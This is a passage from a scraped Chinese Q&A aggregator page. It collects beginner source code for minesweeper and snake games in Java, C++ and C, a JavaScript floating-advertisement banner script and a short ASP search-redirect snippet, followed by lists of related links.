for (int j = 0; j < (int) Math.sqrt(BlockNum); j++) {
if (bombButton[i][j].isBomb == true) {
bombButton[i][j].setText("b");
}
}
}
( (Bomb) e.getSource()).setForeground(Color.RED);
( (Bomb) e.getSource()).setFont(new Font("", Font.BOLD, 20));
( (Bomb) e.getSource()).setText("X");
JOptionPane.showMessageDialog(this, "你踩到地雷了,按確定重來", "踩到地雷", 2);
startBomb();
}
}
}

/* 右鍵點擊 */

public void mouseClicked(MouseEvent e) {
Bomb bombSource = (Bomb) e.getSource();
boolean right = SwingUtilities.isRightMouseButton(e);

if ( (right == true) && (bombSource.isClicked == false)) {
bombSource.BombFlag = (bombSource.BombFlag + 1) % 3;
if (bombSource.BombFlag == 1) {
if (restBomb > 0) {
bombSource.setForeground(Color.RED);
bombSource.setText("F");
bombSource.isRight = true;
restBomb--;
}
else {
bombSource.BombFlag = 0;
}
}
else if (bombSource.BombFlag == 2) {
restBomb++;
bombSource.setText("Q");
bombSource.isRight = false;
}
else {
bombSource.setText("");
}

if (bombSource.isBomb == true) {
if (bombSource.BombFlag == 1) {
rightBomb++;
}
else if (bombSource.BombFlag == 2) {
rightBomb--;
}
}
nowBomb.setText("當前雷數" + ":" + restBomb);
isWin();
}
}

public static void main(String[] args) {
Frame frame = new Frame();
frame.setVisible(true);
}
}

class Frame1_start_actionAdapter
implements ActionListener {
private Frame adaptee;
Frame1_start_actionAdapter(Frame adaptee) {
this.adaptee = adaptee;
}

public void actionPerformed(ActionEvent e) {
adaptee.start_actionPerformed(e);
}
}

////////////////////////////
class Bomb
extends JButton {
int num_x, num_y; // 第幾號方塊
int BombRoundCount; // 周圍雷數
boolean isBomb; // 是否為雷
boolean isClicked; // 是否被點擊
int BombFlag; // 探雷標記
boolean isRight; // 是否點擊右鍵

public Bomb(int x, int y) {
num_x = x;
num_y = y;
BombFlag = 0;
BombRoundCount = 9;
isBomb = false;
isClicked = false;
isRight = false;
}
}

class Bomb_actionAdapter
implements ActionListener {
private Frame adaptee;
Bomb_actionAdapter(Frame adaptee) {
this.adaptee = adaptee;
}

public void actionPerformed(ActionEvent e) {
adaptee.actionPerformed(e);
}
}

class Bomb_mouseAdapter
extends MouseAdapter {
private Frame adaptee;
Bomb_mouseAdapter(Frame adaptee) {
this.adaptee = adaptee;
}

public void mouseClicked(MouseEvent e) {
adaptee.mouseClicked(e);
}
}

❻ C語言的貪吃蛇源代碼

#include <bits/stdc++.h>

#include <windows.h>
#include <conio.h>
using namespace std;
void gotoxy(int x,int y) {COORD pos={x,y}; SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);}//游標定位
class Food {//食物類
private: int m_x; int m_y;
public:
void randfood() {//隨機產生一個食物
srand((int)time(NULL));//利用時間添加隨機數種子,需要ctime頭文件
L1:{m_x=rand()%(85)+2;//2~86
m_y=rand()%(25)+2;//2~26
if(m_x%2) goto L1;//如果食物的x坐標不是偶數則重新確定食物的坐標
gotoxy(m_x,m_y);//在確認好的位置輸出食物
cout << "★";}}
int getFoodm_x() {return m_x;}//返回食物的x坐標
int getFoodm_y() {return m_y;}};//返回食物的y坐標
class Snake {
private:
struct Snakecoor {int x; int y;};//定義一個蛇的坐標機構
vector<Snakecoor> snakecoor;//將坐標存入vector容器中
//判斷並改變前進方向的函數
void degdir(Snakecoor&nexthead) {//定義新的蛇頭變數
static char key='d';//靜態變數防止改變移動方向後重新改回來
if(_kbhit()) {
char temp=_getch();//定義一個臨時變數儲存鍵盤輸入的值
switch(temp) {//如果臨時變數的值為wasd中的一個,則賦值給key
default: break;//default是預設情況,只有任何條件都不匹配的情況下才會執行 必須寫在前面!不然蛇無法轉向
case'w': case'a': case's': case'd':
//如果temp的方向和key的方向不相反則賦值 因為兩次移動方向不能相反 將蛇設置為初始向右走
if(key=='w' && temp!='s' || key=='s' && temp!='w' || key=='a' && temp!='d' || key=='d' && temp!='a') key=temp;}}
switch (key) {//根據key的值來確定蛇的移動方向
case'd': nexthead.x=snakecoor.front().x+2; nexthead.y=snakecoor.front().y; break;
//新的蛇頭的頭部等於容器內第一個數據(舊蛇頭)x坐標+2 因為蛇頭占兩個坐標,移動一次加2
case'a': nexthead.x=snakecoor.front().x-2; nexthead.y=snakecoor.front().y; break;
case'w': nexthead.x=snakecoor.front().x; nexthead.y=snakecoor.front().y-1; break;
//因為控制台的x長度是y的一半,所以用兩個x做蛇頭,需要的坐標是二倍
case's': nexthead.x=snakecoor.front().x; nexthead.y=snakecoor.front().y+1;}}
//游戲結束時設計一個界面輸出「游戲結束」以及分數
void finmatt(const int score) {
system("cls"); gotoxy(40, 14);//清屏然後輸出
cout << "游戲結束"; gotoxy(40, 16);
cout << "得分:" << score; gotoxy(0, 26);
exit(0);}//exit為C++的退出函數 exit(0)表示程序正常退出,非0表示非正常退出
void finishgame(const int score) {//游戲結束
if(snakecoor[0].x>=88 || snakecoor[0].x<0 || snakecoor[0].y>=28 || snakecoor[0].y<0) finmatt(score);//撞牆
for(int i=1;i<snakecoor.size();i++) if(snakecoor[0].x==snakecoor[i].x && snakecoor[0].y==snakecoor[i].y) finmatt(score);}//撞到自身
public://構造初始化蛇的位置
Snake() { Snakecoor temp;//臨時結構變數用於創建蛇
for(int i=5;i>=0;i--) {//反向創建初始蛇身,初始蛇頭朝右
temp.x=16+(i<<1); temp.y=8;//偶數 在蛇頭左移生成蛇身
snakecoor.push_back(temp);}}//在蛇尾尾插入臨時變數
void move(Food&food, int& score) {//蛇運動的函數
Snakecoor nexthead;//新蛇頭變數
degdir(nexthead);//判斷和改變蛇前進的方向
snakecoor.insert(snakecoor.begin(), nexthead);//將蛇頭插入容器的頭部
gotoxy(0, 0); cout << "得分:" << score;//每次移動都在左上角刷新得分
gotoxy(0, 2); cout << "蛇的長度為:" << snakecoor.size();//長度用來測試
finishgame(score);//判斷游戲結束,輸出分數
//吃到食物蛇的變化
if(snakecoor[0].x==food.getFoodm_x() && snakecoor[0].y==food.getFoodm_y()) {//蛇頭與食物重合
gotoxy(snakecoor[0].x, snakecoor[0].y); cout << "●";//吃到食物時這次蛇沒有移動,所以蛇會卡頓一下
gotoxy(snakecoor[1].x, snakecoor[1].y); cout << "■";//重新輸出一下蛇頭和第一節蛇身讓蛇不卡頓
score++; food.randfood(); return;}//吃到食物得分+1,如果蛇頭坐標和食物坐標重合則重新產生一個食物並直接結束本次移動
for(int i=0;i<snakecoor.size();i++) {//遍歷容器,判斷食物與蛇身是否重合並輸出整條蛇
gotoxy(snakecoor[i].x, snakecoor[i].y);
if (!i) cout << "●"; else cout << "■";//頭部輸出圓形否則輸出方塊
if (snakecoor[i].x==food.getFoodm_x() && snakecoor[i].y==food.getFoodm_y())food.randfood();}//如果食物刷新到了蛇身上,則重新產生一個
gotoxy(snakecoor.back().x,snakecoor.back().y);cout << " ";snakecoor.pop_back();}};
//數據與畫面是分開,的在容器尾部的地方輸出空格 清除畫面上的蛇尾,刪除容器中最後一個數據 清除數據上的蛇尾
void HideCursor() {CONSOLE_CURSOR_INFO cursor_info={1,0};SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);}//隱藏游標
int main() {system("mode con cols=88 lines=28"); system("title 貪吃蛇"); HideCursor();//游標隱藏,設置控制台窗口大小、標題
int score=0; Food food; food.randfood(); Snake snake;//得分變數,食物對象,開局隨機產生一個食物,蛇對象
while(true) {snake.move(food, score);Sleep(150);}return 0;}//蛇移動,游戲速度

❼ 哪裡有這樣的源代碼

這是這個網站的 js
有點復雜,但實現的就是這效果
sd2.js內容如下:
var closeB=false;
var delta=0.15
var collection;

function floaters() {
this.items = [];
this.addItem = function(id,x,y,content)
{
document.write('<DIV id='+id+' style="Z-INDEX: 10; POSITION: absolute; width:80px; height:60px;left:'+(typeof(x)=='string'?eval(x):x)+';top:'+(typeof(y)=='string'?eval(y):y)+'">'+content+'</DIV>');
var newItem = {};
newItem.object = document.getElementById(id);
newItem.x = x;
newItem.y = y;
this.items[this.items.length] = newItem;
}
this.play = function()
{
collection = this.items
setInterval('play()',10);
}
}
function play()
{
if(closeB)
{
for(var i=0;i<collection.length;i++)
{
collection[i].object.style.display = 'none';
}
return;
}
for(var i=0;i<collection.length;i++)
{
var followObj = collection[i].object;
var followObj_x = (typeof(collection[i].x)=='string'?eval(collection[i].x):collection[i].x);
var followObj_y = (typeof(collection[i].y)=='string'?eval(collection[i].y):collection[i].y);
if(followObj.offsetLeft!=(document.body.scrollLeft+followObj_x)) {
var dx=(document.body.scrollLeft+followObj_x-followObj.offsetLeft)*delta;
dx=(dx>0?1:-1)*Math.ceil(Math.abs(dx));
followObj.style.left=followObj.offsetLeft+dx;
}
if(followObj.offsetTop!=(document.body.scrollTop+followObj_y)) {
var dy=(document.body.scrollTop+followObj_y-followObj.offsetTop)*delta;
dy=(dy>0?1:-1)*Math.ceil(Math.abs(dy));
followObj.style.top=followObj.offsetTop+dy;
}
followObj.style.display = '';
}
}
function closeBanner()
{
closeB=true;
return;
}
function ivr() {
window.open('http://www.91ivr.com/index.html?seo='+seo);
}
var theFloaters = new floaters();
theFloaters.addItem('followDiv1','screen.availWidth-135',80,'<iframe width="105" height="400" frameborder="0" scrolling="no" src="http://www.91ivr.com/code/sd/126x400.html?seo='+seo+'"></iframe>');

theFloaters.addItem('followDiv2',6,80,'<iframe width="105" height="400" frameborder="0" scrolling="no" src="http://www.91ivr.com/code/sd/126x400_2.html?seo='+seo+'"></iframe>');

theFloaters.play();

❽ javascript 源碼

是一個腳本,

❾ C語言掃雷游戲源代碼

"掃雷"小游戲C代碼

#include<stdio.h>
#include<math.h>
#include<time.h>
#include<stdlib.h>
main( )
{char a[102][102],b[102][102],c[102][102],w;
int i,j; /*循環變數*/
int x,y,z[999]; /*雷的位置*/
int t,s; /*標記*/
int m,n,lei; /*計數*/
int u,v; /*輸入*/
int hang,lie,ge,mo; /*自定義變數*/
srand((int)time(NULL)); /*啟動隨機數發生器*/
leb1: /*選擇模式*/
printf(" 請選擇模式: 1.標准 2.自定義 ");
scanf("%d",&mo);
if(mo==2) /*若選擇自定義模式,要輸入三個參數*/
{do
{t=0; printf("請輸入 行數 列數 雷的個數 ");
scanf("%d%d%d",&hang,&lie,&ge);
if(hang<2){printf("行數太少 "); t=1;}
if(hang>100){printf("行數太多 ");t=1;}
if(lie<2){printf("列數太少 ");t=1;}
if(lie>100){printf("列數太多 ");t=1;}
if(ge<1){printf("至少要有一個雷 ");t=1;}
if(ge>=(hang*lie)){printf("雷太多了 ");t=1;}
}while(t==1);
}
else{hang=10,lie=10,ge=10;} /*否則就是選擇了標准模式(默認參數)*/
for(i=1;i<=ge;i=i+1) /*確定雷的位置*/
{do
{t=0; z[i]=rand( )%(hang*lie);
for(j=1;j<i;j=j+1){if(z[i]==z[j]) t=1;}
}while(t==1);
}
for(i=0;i<=hang+1;i=i+1) /*初始化a,b,c*/
{for(j=0;j<=lie+1;j=j+1) {a[i][j]='1'; b[i][j]='1'; c[i][j]='0';} }
for(i=1;i<=hang;i=i+1)
{for(j=1;j<=lie;j=j+1) {a[i][j]='+';} }
for(i=1;i<=ge;i=i+1) /*把雷放入c*/
{x=z[i]/lie+1; y=z[i]%lie+1; c[x][y]='#';}
for(i=1;i<=hang;i=i+1) /*計算b中數字*/
{for(j=1;j<=lie;j=j+1)
{m=48;
if(c[i-1][j-1]=='#')m=m+1; if(c[i][j-1]=='#')m=m+1;
if(c[i-1][j]=='#')m=m+1; if(c[i+1][j+1]=='#')m=m+1;
if(c[i][j+1]=='#')m=m+1; if(c[i+1][j]=='#')m=m+1;
if(c[i+1][j-1]=='#')m=m+1; if(c[i-1][j+1]=='#')m=m+1;
b[i][j]=m;
}
}
for(i=1;i<=ge;i=i+1) /*把雷放入b中*/
{x=z[i]/lie+1; y=z[i]%lie+1; b[x][y]='#';}

lei=ge; /*以下是游戲設計*/
do
{leb2: /*輸出*/
system("cls");printf(" ");

printf(" ");
for(i=1;i<=lie;i=i+1)
{w=(i-1)/10+48; printf("%c",w);
w=(i-1)%10+48; printf("%c ",w);
}
printf(" |");
for(i=1;i<=lie;i=i+1){printf("---|");}
printf(" ");
for(i=1;i<=hang;i=i+1)
{w=(i-1)/10+48; printf("%c",w);
w=(i-1)%10+48; printf("%c |",w);
for(j=1;j<=lie;j=j+1)
{if(a[i][j]=='0')printf(" |");
else printf(" %c |",a[i][j]);
}
if(i==2)printf(" 剩餘雷個數");
if(i==3)printf(" %d",lei);
printf(" |");
for(j=1;j<=lie;j=j+1){printf("---|");}
printf(" ");
}

scanf("%d%c%d",&u,&w,&v); /*輸入*/
u=u+1,v=v+1;
if(w!='#'&&a[u][v]=='@')
goto leb2;
if(w=='#')
{if(a[u][v]=='+'){a[u][v]='@'; lei=lei-1;}
else if(a[u][v]=='@'){a[u][v]='?'; lei=lei+1;}
else if(a[u][v]=='?'){a[u][v]='+';}
goto leb2;
}
a[u][v]=b[u][v];

leb3: /*打開0區*/
t=0;
if(a[u][v]=='0')
{for(i=1;i<=hang;i=i+1)
{for(j=1;j<=lie;j=j+1)
{s=0;
if(a[i-1][j-1]=='0')s=1; if(a[i-1][j+1]=='0')s=1;
if(a[i-1][j]=='0')s=1; if(a[i+1][j-1]=='0')s=1;
if(a[i+1][j+1]=='0')s=1; if(a[i+1][j]=='0')s=1;
if(a[i][j-1]=='0')s=1; if(a[i][j+1]=='0')s=1;
if(s==1)a[i][j]=b[i][j];
}
}
for(i=1;i<=hang;i=i+1)
{for(j=lie;j>=1;j=j-1)
{s=0;
if(a[i-1][j-1]=='0')s=1; if(a[i-1][j+1]=='0')s=1;
if(a[i-1][j]=='0')s=1; if(a[i+1][j-1]=='0')s=1;
if(a[i+1][j+1]=='0')s=1; if(a[i+1][j]=='0')s=1;
if(a[i][j-1]=='0')s=1; if(a[i][j+1]=='0')s=1;
if(s==1)a[i][j]=b[i][j];
}
}
for(i=hang;i>=1;i=i-1)
{for(j=1;j<=lie;j=j+1)
{s=0;
if(a[i-1][j-1]=='0')s=1; if(a[i-1][j+1]=='0')s=1;
if(a[i-1][j]=='0')s=1; if(a[i+1][j-1]=='0')s=1;
if(a[i+1][j+1]=='0')s=1; if(a[i+1][j]=='0')s=1;
if(a[i][j-1]=='0')s=1; if(a[i][j+1]=='0')s=1;
if(s==1)a[i][j]=b[i][j];
}
}
for(i=hang;i>=1;i=i-1)
{for(j=lie;j>=1;j=j-1)
{s=0;
if(a[i-1][j-1]=='0')s=1; if(a[i-1][j+1]=='0')s=1;
if(a[i-1][j]=='0')s=1; if(a[i+1][j-1]=='0')s=1;
if(a[i+1][j+1]=='0')s=1;if(a[i+1][j]=='0')s=1;
if(a[i][j-1]=='0')s=1; if(a[i][j+1]=='0')s=1;
if(s==1)a[i][j]=b[i][j];
}
}

for(i=1;i<=hang;i=i+1) /*檢測0區*/
{for(j=1;j<=lie;j=j+1)
{if(a[i][j]=='0')
{if(a[i-1][j-1]=='+'||a[i-1][j-1]=='@'||a[i-1][j-1]=='?')t=1;
if(a[i-1][j+1]=='+'||a[i-1][j+1]=='@'||a[i-1][j+1]=='?')t=1;
if(a[i+1][j-1]=='+'||a[i+1][j-1]=='@'||a[i+1][j-1]=='?')t=1;
if(a[i+1][j+1]=='+'||a[i+1][j+1]=='@'||a[i+1][j+1]=='?')t=1;
if(a[i+1][j]=='+'||a[i+1][j]=='@'||a[i+1][j]=='?')t=1;
if(a[i][j+1]=='+'||a[i][j+1]=='@'||a[i][j+1]=='?')t=1;
if(a[i][j-1]=='+'||a[i][j-1]=='@'||a[i][j-1]=='?')t=1;
if(a[i-1][j]=='+'||a[i-1][j]=='@'||a[i-1][j]=='?')t=1;
}
}
}
if(t==1)goto leb3;
}

n=0; /*檢查結束*/
for(i=1;i<=hang;i=i+1)
{for(j=1;j<=lie;j=j+1)
{if(a[i][j]!='+'&&a[i][j]!='@'&&a[i][j]!='?')n=n+1;}
}
}
while(a[u][v]!='#'&&n!=(hang*lie-ge));

for(i=1;i<=ge;i=i+1) /*游戲結束*/
{x=z[i]/lie+1; y=z[i]%lie+1; a[x][y]='#'; }
printf(" ");
for(i=1;i<=lie;i=i+1)
{w=(i-1)/10+48; printf("%c",w);
w=(i-1)%10+48; printf("%c ",w);
}
printf(" |");
for(i=1;i<=lie;i=i+1){printf("---|");}
printf(" ");
for(i=1;i<=hang;i=i+1)
{w=(i-1)/10+48; printf("%c",w);
w=(i-1)%10+48; printf("%c |",w);
for(j=1;j<=lie;j=j+1)
{if(a[i][j]=='0')printf(" |");
else printf(" %c |",a[i][j]);
}
if(i==2)printf(" 剩餘雷個數");
if(i==3)printf(" %d",lei); printf(" |");
for(j=1;j<=lie;j=j+1) {printf("---|");}
printf(" ");
}
if(n==(hang*lie-ge)) printf("你成功了! ");
else printf(" 游戲結束! ");
printf(" 重玩請輸入1 ");
t=0;
scanf("%d",&t);
if(t==1)goto leb1;
}

/*註:在DEV c++上運行通過。行號和列號都從0開始,比如要確定第0行第9列不是「雷」,就在0和9中間加入一個字母,可以輸入【0a9】三個字元再按回車鍵。3行7列不是雷,則輸入【3a7】回車;第8行第5列是雷,就輸入【8#5】回車,9行0列是雷則輸入【9#0】並回車*/

❿ 【高分求助】求站內高級搜索源碼

很久以前寫過一個的:
<%@ Language=VBScript %>
<%
Name=Request.Form("商品名稱")
keyword=trim(Request.Form("商品編號"))

if Name="" then
Response.Write "請選擇您需要搜索的范圍!"
Response.End
end if

if keyword="" then
Response.Write "請輸入查詢關鍵字!"
Response.End
end if

Response.Redirect "jieguo.asp?Name=" & 商品名稱 & "&keyword=" & 商品編號

%>

閱讀全文

與shofiy源碼相關的資料

熱點內容
宜興雲存儲伺服器 瀏覽:221
如何開放遠程伺服器上的埠號 瀏覽:67
大規模單片機廠家供應 瀏覽:952
3dmax編輯樣條線快捷命令 瀏覽:708
怎麼獲得音樂的源碼 瀏覽:249
郭麒麟參加密室完整版 瀏覽:318
單片機排線怎麼用 瀏覽:483
java字元串太長 瀏覽:868
python變數計算 瀏覽:115
網銀pdf 瀏覽:134
iponedns伺服器怎麼設置復原 瀏覽:405
深圳電力巡檢自主導航演算法 瀏覽:436
十二星座的布娃娃怎麼買app 瀏覽:321
反編譯打包地圖不顯示 瀏覽:92
沒有壓縮的圖片格式 瀏覽:468
斯維爾文件需不需要加密狗 瀏覽:300
柱加密區范圍在軟體中設置 瀏覽:706
紙質音樂壓縮教程 瀏覽:33
安卓手機健康碼快捷方式怎麼設置 瀏覽:477
程序員是怎麼發明的 瀏覽:175